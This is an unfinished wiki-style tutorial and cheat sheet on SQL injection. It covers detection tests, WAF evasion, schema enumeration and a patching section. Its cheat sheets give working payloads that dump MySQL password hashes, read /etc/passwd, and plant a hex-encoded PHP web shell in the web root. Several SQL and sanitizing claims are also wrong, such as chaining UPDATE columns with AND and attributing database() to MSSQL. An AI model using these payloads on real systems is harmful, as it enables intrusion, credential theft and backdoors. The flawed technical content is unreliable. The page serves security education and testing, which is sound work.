SQL injection

This page is in-progress. Be advised it is not final in any way.

Overview

SQL injection is a method of exploiting web applications performed over http or https to compromise the underlying database engine supporting dynamic content for the web application itself. Successful exploitation of an SQL injection vulnerability can result in the attacker gaining unfettered access to the database and can lead to further privilege escalation.

Typically, databases include things like (but not limited to):

• Authentication credentials
• Other identifying information about a user (like an IP address)
• Site configurations
• Site content and themes
• Communications between users within the site

Cause(s) of vulnerabilities

SQL Injection occurs when input from a user is directly passed to a SQL query by an application. In the context of web applications, user input comes from HTTP input.

• Un-sanitized user input - The developer made no effort to stop an injection attack
• Improper type handling - An integer sanitized or otherwise treated as a string, or vice versa
• Lack of output filtering - Output from a query that had user input passed to it is used as input in later queries when rendering the page
  Notice: Cookies and other "hidden" forms of communication in the HTTP request header are also processed as user input and can be considered attack vectors as well.

Potential Target Environments

A variety of environments are vulnerable to SQL injection. Nearly all of the interpreted languages and compiled languages could be used to write a vulnerable application. Databasing engines such as MySQL, PostgreSQL, Microsoft SQL Server, or Oracle could be used in a vulnerable application.

Protip: It is important to note the HTTP server's version information along with the programming language in use by any application during testing. This in conjunction with Operating System information will assist during privilege escalation.

Exploitation Obstacles

Obstacles can occur on various layers of the OSI model. The software layer may filter your input during its processing. The network layer may be monitored by a NIDS or IPS and begin to drop traffic, add captcha verifications, or redirect you to a honeypot. The HTTP server may also be running a Web Application Firewall.

Protip: A researcher or penetration tester may find overcoming these obstacles difficult, but usually not impossible given enough dedication.

Configuration & Environment

Experience says
Due to certain vulnerabilities requiring the use of boolean enumeration or timing attacks, many HTTP requests may be needed in order to successfully determine database contents, making the process of arbitrarily accessing data quite time consuming and noisy.

* Different databasing engines have different configuration settings, but usually include some form of maximum number of connections, maximum query size, maximum results size, maximum number of connections per user or client, and other resource restrictive options. Simply distributing a time consuming attack may only hinder the attacker by exhausting resources. Database permissions and role-based-access control integration for the application may also play a large role in the amount of data an attacker may gather, as SQL injection only exploits in the context of the active connection to the SQL server that the vulnerable query executes within (e.g. the username and password that the application is using for the query being exploited). Programming languages have different configurations for runtime as well, such as memory limits and maximum execution time when configured to run in conjunction with a webserver.

Older versions of database servers may not have an information_schema database and may require a privileged user (like the database server administrator) to access any schema information.

IDS, IPS, and Web Application Firewalls

Web application firewalls usually operate at the same layer as the HTTP server or application, and thus monitor the protocol and input layers. This is different than normal IDS, which are stand-alone pieces of software or hardware that inspect the network and the host layer.

Protip: Most intrusion detection mechanisms built for web applications operate using signature-based detection. Therefore, as long as an attack does not match a signature, it will slip by most of them.

Common Web Application Firewall HTTPD Modules

• Mod_Security (Apache)
• Naxsi (Nginx)
• ISAPI Filters (Microsoft IIS)

Common signatures use regular expressions that will match (and block) many common or simple testing techniques.

Signs that a WAF is in the way

• Having the connection to the server reset ONLY when testing the site for vulnerabilities
• 403 Forbidden responses ONLY when testing the site for vulnerabilities
• Being blocked by the remote firewall after a repeatable number of injection attempts

Common Signatures and Bypass Techniques

• Inflating integer size
• Using non-standard conditional operators
• Alternative spacing

Improper Sanitizing

Notice: Any time improper sanitizing takes place there is a potential for partial sanitizing, and may make the exploitation process highly difficult if not impossible.

Partial sanitizing

Partial sanitizing may affect any or more (unlisted here) of the following important syntax characters and result in them being encoded in some fashion, escaped, or removed entirely.

* The space character (or all whitespace)

• The single quote character: '
• The double quote character: "
• The tag characters: < and &gt;
• The equals character: =
• The comma character: ,
• The parenthesis characters: ( and )

Deprecated Sanitizing

History says

PHP's addslashes() function (now deprecated) relied on the unhex() function. The goal of addslashes() was to add an escape (\) behind any single quotes (') entered into a string. When multi-byte character sets (or collations) are in use, this can cause a vulnerability to occur. If a valid multi-byte character ends in 0x5c (the escape), it is possible to circumvent the escape completely by placing the first byte of that character before the single quote. When unhex() is called against the now escaped single-quote, it sees the two bytes as a single character, allowing the quote (0x27) to escape the string unscathed. An example prefix for a non-utf8 character set's multi-byte prefix that accepts 0x5c as an ending is 0xbf, so one could use %bf%27 in a url to bypass the use of addslashes().

SQL Orientation

SQL Databases are made up of tables. Tables are created by the developer or architect and are empty on creation. Similar to a spreadsheet, a table's properties are defined by its columns. Columns can be different data types (strings, integers, booleans, floats, binary, etc).

Basic Queries

Notice: Basic query statements include SELECT, UPDATE, INSERT, and DELETE.

SELECT - Select data from a table

SELECT statements can contain clauses such as "WHERE", "LIMIT", "ORDER BY" and "GROUP BY" to find values that match specified patterns and filter results sets.

Protip: The SELECT statement can do more than just selecting an specific item, from a specific column or table - it can select multiple columns from multiple tables from multiple databases.

• The basic syntax of a SELECT statement:

 SELECT [column_name(s)] FROM [database_name(s)].[table_name(s)] WHERE [condition] GROUP BY [column_name] ORDER BY [column_name] [asc|desc] 

For example, let's do a simple SELECT query on the following table (named "People" for our example).

 +----------------------+
 |ID| NAME     |STATE   |
 +----------------------+
 |1 | John Doe |New York|
 +--+----------+--------+
 |2 | Jane Doe |Florida |
 +--+----------+--------+

Let's perform a SELECT Query on our "People" Table, for the column "state".

 SELECT state FROM people;

You should get an output similar to the following:

 +---------+
 |STATE    |
 +---------+
 |New York |
 +---------+
 |Florida  |
 +---------+

UPDATE - Modify rows in a table

The UPDATE command is used to update specific rows in a table with a new value. It has the ability to alter a large amount of data with a single query, and as such can be a very dangerous command when access to it is granted to the wrong people.

For example:

 UPDATE customers SET age=20 WHERE name='Richard'

This will set the value of the 'name' row in the 'age' column to 20 wherever 'name' is 'Richard'.

Executing this query in an interactive environment will return the number of rows that were altered. If the WHERE clause is omitted, every row in the named table will be edited in accordance with this query.

Updating multiple columns

It is possible to alter the contents of multiple columns in a table with a single UPDATE query in the following manner:

 UPDATE customer SET name='Richard' AND age='20' AND paid='yes' WHERE id='4'

INSERT - Add rows to a table

The basic format of the INSERT statement is:

 INSERT INTO table (column, column, column) VALUES (value, value, value)

The number of columns and values must be the same.

It is similar to the UPDATE statement in that it allows you to alter the contents of entries in a table. However, the INSERT statement allows you to add a new row to the table specified, inserting data into whichever columns you choose (with a minimum of one) when you initialise it. Any columns not specified are simply left blank.

For example:

 INSERT INTO customers (name, age, paid) VALUES ('Richard', '23', 'yes')

DELETE - Delete rows from a table

The format of the DELETE statement is:

 DELETE FROM table WHERE column=value

This will delete a row from a table where the column is equal to the value specified. It is relatively simple to use, for example:

 DELETE FROM customers WHERE age='20'

Navigating Unfamiliar Databases

Notice: Not everything that works in the SQL console for the affected databasing engine will work with the language connector used by the vulnerable application. Solutions for this are laid out below.

The administrator's way

Running these statements in the command line for their associated database engines will display the information listed below; however these statements do not typically work when associated with any language connector other than the C API.

MySQL

Show databases:

• Displays a list of databases that the current user has access to

 "show databases;"

Show tables [in ...]:

• Displays a list of table names in the currently selected database (if no database was specified), or a list of tables in the specified database

  "show tables in information_schema"

Show fields in [table_name]:

• Displays a list of column names in the chosen table:

 "show fields in information_schema.routines"

PostgreSQL

• \l - Lists all databases
• \dn - Lists all schemas in the current database
• \dt - Lists all tables in the current database
• \d [table_name]- Lists columns in table in the current database

The SQL injection way

Nearly every modern databasing engine has an information_schema database or schema. Important tables that are part of information_schema include schemata,routines,columns, and tables.

MySQL

• Show Databases equivalent:

  select schema_name from information_schema.schemata;

• Show tables equivalent:

  select table_name from information_schema.tables where table_schema=[database_name]

• Show fields equivalent:

  select column_name from information_schema.columns where table_name=[table_name] and table_schema=[database_name]

Protip: If you know you've only got access to the currently selected database, you can save some time by using the database() function or @@database environment variables, e.g. where table_schema = database() or where table_schema = @@database.

PostgreSQL

Notice: PostgreSQL has the current_database() function in stead of the database() function.

• \dn Equivalent (Shows all of the schema names)

 select schema_name from information_schema.schemata where catalog_name=[database name]

• \dt Equivalent (Shows all of the tables in the schema)

 select table_name from information_schema.tables table_type='BASE TABLE' AND table_schema=([schema_query]) and catalog_name=[database name]

• \d [column_name] Equivalent:

 select column_name from information_schema.columns where table_name=([table_query]) and table_schema=([schema_query]) and catalog_name=[database_name]

MS SQL

• Listing Tables:

 select table_name from information_schema.columns where table_catalog=[database_name] group by table_name;

• Listing Columns:

 select column_name from information_schema.columns where table_catalog=[database_name] and table_name=[table_query] group by column_name

Legacy Databases

• sysobjects/msysobjects
• mysql.columns_priv

Databasing engines compared and contrasted in light of SQL Injection

Notice: For compatibility purposes it is important to be mindful of what functions, environment variables, and tables are ubiquitous. When writing an automated attack tool, it is convenient to be able to use the same function in each SQL dialect, rather than choosing a function or variable per sql version.

• Additional similarities are added each update to the various database engines. Read the manuals for the affected engines to get an up-to-date view.
• Not all similarities or differences are documented here, only those relevant to SQL injection.

Protip: There are enough similarities that it is possible to have a degree of universal exploitation.

Similarities and differences between database engines include table and column names, function names, environment variables, and statement syntax.

Information_Schema

All of the databasing engines that presently have an information_schema collection all have the following in common:

• The information_schema.tables table has a table_name column.
• The information_schema.columns table has both table_name and column_name columns.
• All of them have information_schema.routines and information_schema.schemata tables.

Functions

MS SQL, MySQL, and PostgreSQL share the following functions:

• ascii()
• substring()

MySQL and Postgres share the following functions:

• current_database()
• version()

MySQL and MSSQL share the following functions:

• database()

Environment Variables

MySQL and PostgreSQL share the following variables:

• current_user

MySQL and Microsoft SQL Server share the following variables:

• @@version

Other syntax

PostgreSQL and MySQL now share the same LIMIT syntax:

  limit [count] offset [row to start at]

Microsoft SQL does not have a LIMIT clause. In stead, sub-queries with SELECT TOP and ORDER BY clauses are used as a workaround. This makes for a less readable query and a more frustrating attack.

Capabilities

Different SQL databasing engines have different capabilities. As a result, there are advantages and disadvantages passed to an attacker for each limitation or unique piece of functionality that a SQL server may have to offer.

• MSSQL xp_cmdshell
• MySQL has the ability to select into outfile and select load_file.
• PostgreSQL is the only databasing engine which supports trigger functions or other user-defined functionality added to a table in most procedural scripting languages (Perl,Python,Ruby).

Remote testing for SQL injection vulnerabilities

Make sure to have written authorization from the site owner first!

Vulnerability Characteristics

Protip: There are a number of factors to take into consideration when analyzing a SQL injection vulnerability. These factors will determine methodology for successful exploitation.

Vulnerability types

SQL injection vulnerabilities are typically either standard injection vulnerabilities, error-based vulnerabilities, or blind vulnerabilities, blind being the most difficult of the three.

• Standard vulnerabilities:

The page can be exploited by using the UNION SELECT or UNION ALL SELECT statements to simply display selected data on the page.

• Error-based vulnerabilities:

Error based vulnerabilities occur when verbose errors from the SQL databasing engine are enabled and displayed on the page. Thus, attackers may use things such as illegal type conversions to throw errors containing data.

• Blind vulnerabilities:

Blind SQL injection vulnerabilities are not only the most difficult to exploit, but also the most time consuming. Timing attacks and boolean enumeration are the only methods of successful exploitation of select statements.

Injection Points

Notice: A SQL injection vulnerability's type is determined by the location of the user input. $input is used as an example input variable in the queries below to illustrate their classifications.

• SELECT ... WHERE clause injection

 $query = "select * from table where id=$input";

• SELECT ... LIMIT, OFFSET, ORDER BY, and GROUP BY clause injections

 $query = "select * from table limit $input";
 $query = "select * from table limit 1 offset $input";
 $query = "select * from table order by $input";
 $query = "select * from table group by $input";

• UPDATE ... SET clause injection

 $query = "update table set var=$input";

• UPDATE ... WHERE clause injection

 $query = "update table set var=value where column_name=$input";

• INSERT ... VALUES clause injection

 $query = "insert into table values(null,$input)";

Testing Inputs

Vulnerabilities always stem from user input. In web applications, user input may come from a variety of places: forms, cookies, and GET parameters. In order to test for vulnerabilities remotely, researchers test the urls, forms, and cookies associated with the site or software of interest.

Simple "SELECT" Testing : Where clause injection

• There are a number of tests that can be employed to determine if a site is vulnerable to SQL injection.

Protip: The most reliable of these tests consist of boolean challenges that filter the results a query returns.

Boolean challenges will return zero rows if conditions are not met, whereas they will return the same value if the conditions are met. This way researchers are able to determine vulnerability via a "true/false" test.

* In our first example (using $id) we have an unsanitized integer. The URI (uniform resource indicator) may look something like:

        /article_by_id.php?id=10

• A researcher could check that uri against:

        /article_by_id.php?id=10%20AND%201=1
        /article_by_id.php?id=10%20AND%201=0

• When a page is vulnerable, the page on

        /article_by_id.php?id=10%20AND%201=1 will match the page on
        /article_by_id.php?id=10, however the page at 
        /article_by_id.php?id=10%20AND%201=0 will have data (and likely the entire article) missing.  

• In our second example, using $title, the same affect can be achieved with the following URI's:

        /article_by_title.php?id=SQL%27%20AND%20%271%27=%270

/article_by_title.php?id=SQL%27%20AND%20%271%27=%271

Notice: The same methodology as the integer test applies, merely with added single quotes (%27).

Reconstructing injected Queries

Lets tie it all together. In our $id example, because $id = "10 and 1=1" the queries become:

         [original query]
         $query = "select * from articles where id=$id";
         [vulnerability testing query]
         $query = "select * from articles where id=10 and 1=1";
         $query = "select * from articles where id=10 and 1=0";

Or, alternatively, we can look at our $title example:

         [original query]
         $query = "select * from articles where title='$title'";
         [vulnerability testing query]
         $query = "select * from articles where title='SQL' and '1'='0'";
         $query = "select * from articles where title='SQL' and '1'='1'";

The values of $id and $title are being passed directly into the SQL query. Because 1 will always equal 1, the results are passed directly back. When the false test (1=0) is applied, no data is returned by the query because there is no row in the database where 1=0. 1 always equals 1.

Intermediate: "SELECT" Testing : LIMIT, ORDER BY, and GROUP BY

To test for injection in a LIMIT clause, it is first necessary to determine which input of the LIMIT clause you are injecting into. We'll use the following example URI:

 /view_results.php?start=30&perpage=10

A LIMIT clause may have two different inputs, one being the number of rows to return, the other being what row to start from when selecting the rows. On recent versions of MySQL the limit clause syntax is congruent to PostgreSQL syntax:

 limit $perpage offset $start

On older versions of MySQL, the offset operator was not supported. The older query syntax is as follows:

 limit $perpage,$start

Exploiting SQL Injection Vulnerabilities

There are various methods for exploiting various databasing engines, including MySQL, PostgreSQL and Microsoft SQL server. Different engines may require different function names, environment variables, or syntax nuances for proper effectiveness.

Automation Theory

Notice: The most important thing when automating SQL injection is recognizing boundaries.

To know when to stop incrementing loops, you'll need to know things like:

• Data types of single cells
• Length of single cell strings
• Number of rows returned by a query

Ordering and grouping:

• Keeping your rows in line..

Protip: Sometimes you won't be able to select integer values for whatever reason. When this is the case, use ORDER by to find the upper most row and lower most row of the results set. You can stop by starting at an element on one end and then keeping your order by clause intact, incrementing your offset; you'll know when to stop when you've reached the value on the other end of the table.

Common sense says
Variables you will need to track for successful automation of exploitation are listed below. There are other optional variables to track, and this can always be expanded.

Counters:

• Row Counter
• Byte Index Counter

Temporary Variables:

• Length of current target cell
• Number of rows in current target table

SQL Dialect Variables:

• Sanitized Syntax Characters
• Whitespace character(s)
• String concatenation operator
• Comment syntax

Bypassing improper sanitizing

Quotes

• 0x[hex]
• ascii codes

Mis-appropriated XSS Filtering (tags)

• between .. and

Commas & Equals Operator

• regular expressions

Whitespace Filtering

• bloody comments

Parenthesis

• limited to environment variables

Further Penetration

Obtaining filesystem access

• load_file()
• select ... into outfile
• load data [local] infile

Obtaining Code Execution

• Via web app
• Via into outfile

Cheat Sheets

Vulnerability Testing

True/False Statements:

• Standard operators (Universal):

True: and 230984752 = 230984752

False: and 1023947182234 = 4382616621386497

• The Between ... And ... operators (Universal):

True: and 238829 between 238826 and 238927

False: and 328961 between 928172 and 986731

• The LIKE operator (Universal):

True: and 'sqltest' like 'sql%'

False: and 'sqltest' like 'not true'

• The REGEXP operator (RLIKE in Microsoft SQL, Universal):

True: and 'sqltest' regexp '^sql'

False: and 'sqltest' regexp '^false'

MySQL Syntax Reference

• Comment notation:

 /*   [*/]
 %23 (# urlencoded) 
 --[space]

• Handy functions, statements, and Environment Variables:

 version()
 user()
 current_database()
 count([column_name]) from [table_name]
 length([column_name]) from [table_name] [where or limit]
 substr([query],[byte_counter],1) 
 concat([column_name],0x2f,[column_name]) from [table_name] [where or limit]
 group_concat([column_name],0x2f,[column_name]) from [table_name] [where or limit]

• You can evade the need for quotes by using the 0x[hex] operator. An example is "select 0x6a6a". The output is "jj", same as if you were to have run "select 'jj'".

Mysql Versions >= 5 User Schema Mapping (Unprivileged)

• Show Databases Equivilent:

 select schema_name from information_schema.schemata limit 1 offset 0

• Show Tables Equivilent

 select table_name from information_schema.tables where table_schema=database() limit 1 offset 0

• Show Fields Equivilent

 select column_name from information_schema.columns where table_schema=database() and table_name=([table query]) limit 1 offset 0

Privileged Mysql (Any version) User

• Get mysql usernames and password hashes:

 select concat(user,0x2f,password) from mysql.user limit 1

• Grab /etc/passwd

 select load_file(0x2f6574632f706173737764)

• Dump a small php shell (<?php system($_GET['id']); ?>) into /var/www/localhost/htdocs

 select 0x3c3f7068702073797374656d28245f4745545b276964275d293b203f3e into outfile '/var/www/localhost/htdocs/.shell.php'

PostgreSQL Syntax Reference

• Comment notations:

• Handy functions & Environment Variables:

 current_database()
 current_user()
 chr()
 ascii()
 substr()

Quick and common string concatenations:

String concatenation in postgresql is done using the two pipe operators side by side, e.g. "select chr(97)||chr(97)" is the same as "select 'aa'".

• Congruent to select 'BASE TABLE';:

 (SELECT CHR(66)||CHR(65)||CHR(83)||CHR(69)||CHR(32)||CHR(84)||CHR(65)||CHR(66)||CHR(76)||CHR(69))

• Congruent to select 'pg_catalog';:

 (SELECT CHR(112)||CHR(103)||CHR(95)||CHR(99)||CHR(97)||CHR(116)||CHR(97)||CHR(108)||CHR(111)||CHR(103))

• Congruent to select 'information_schema';:

 (SELECT CHR(105)||CHR(110)||CHR(102)||CHR(111)||CHR(114)||CHR(109)||CHR(97)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(95)||CHR(115)||CHR(99)||CHR(104)||CHR(101)||CHR(109)||CHR(97))

PostgreSQL Schema Mapping

• \dn equivilent:

 select schema_name from information_schema.schemata where catalog_name=current_database() limit 1 offset 0

• \dt equivilent:

 select table_name from information_schema.tables table_type='BASE TABLE' AND table_schema=([schema_query]) and catalog_name=current_database() limit 1 offset 0

• \d [table_name] equivilent:

 select column_name from information_schema.columns where table_name=([table_query]) and table_schema=(schema_query) and catalog_name=current_database() limit 1 offset 0

Microsoft SQL Syntax Reference

Microsoft SQL Schema Mapping (Unprivileged)

     select table_name from information_schema.columns where table_catalog=database() group by table_name;

     select column_name from information_schema.columns where table_catalog=database() and table_name='tablename' group by column_name

Patching SQL Injection Vulnerabilities

Proper type handling and sanitizing

• Ruby input sanitizing:

  [Sanitizes For]  | [Type]  |  [Engine]  | [Example]
XSS, SQL Injection | String  | Any        | var = HTMLEntities.encode(var,:basic:)
SQL Injection      | String  | MySQL      | var = Mysql.escape_string(var)
SQL Injection      | String  | PostgreSQL | var = PGconn.escape_string(var)
XSS, SQL Injection | Integer | Any        | var = var.to_i

• PHP input sanitizing:

  [Sanitizes For]  | [Type]  |  [Engine]  | [Example]
XSS, SQL Injection | String  | Any        | $var = htmlentities($_GET['var'],ENT_QUOTES);
SQL Injection      | String  | MySQL      | $var = mysql_real_escape_string($_GET['var']);
SQL Injection      | String  | PostgreSQL | $var = pg_escape_string($_GET['var']);
XSS, SQL Injection | Integer | Any        | $var = (int)$_GET['var'];

• Python
• Perl

Further Reading

Related Content:

• SQL Backdoors
• MySQL
• Programming language specifications: Perl,Python,C,C++

Related Tools:

• MySql 5 Enumeration
• Wordpress Fingerprinting

External Links:

• MySQL 3/4 Reference Manual
• MySQL 5 Reference Manual
• MySQL 6 Reference Manual

• Postgres 7 Reference Manual
• Postgres 8 Reference Manual
• Postgres 9 Reference Manual

• MSDN SQL Server Resources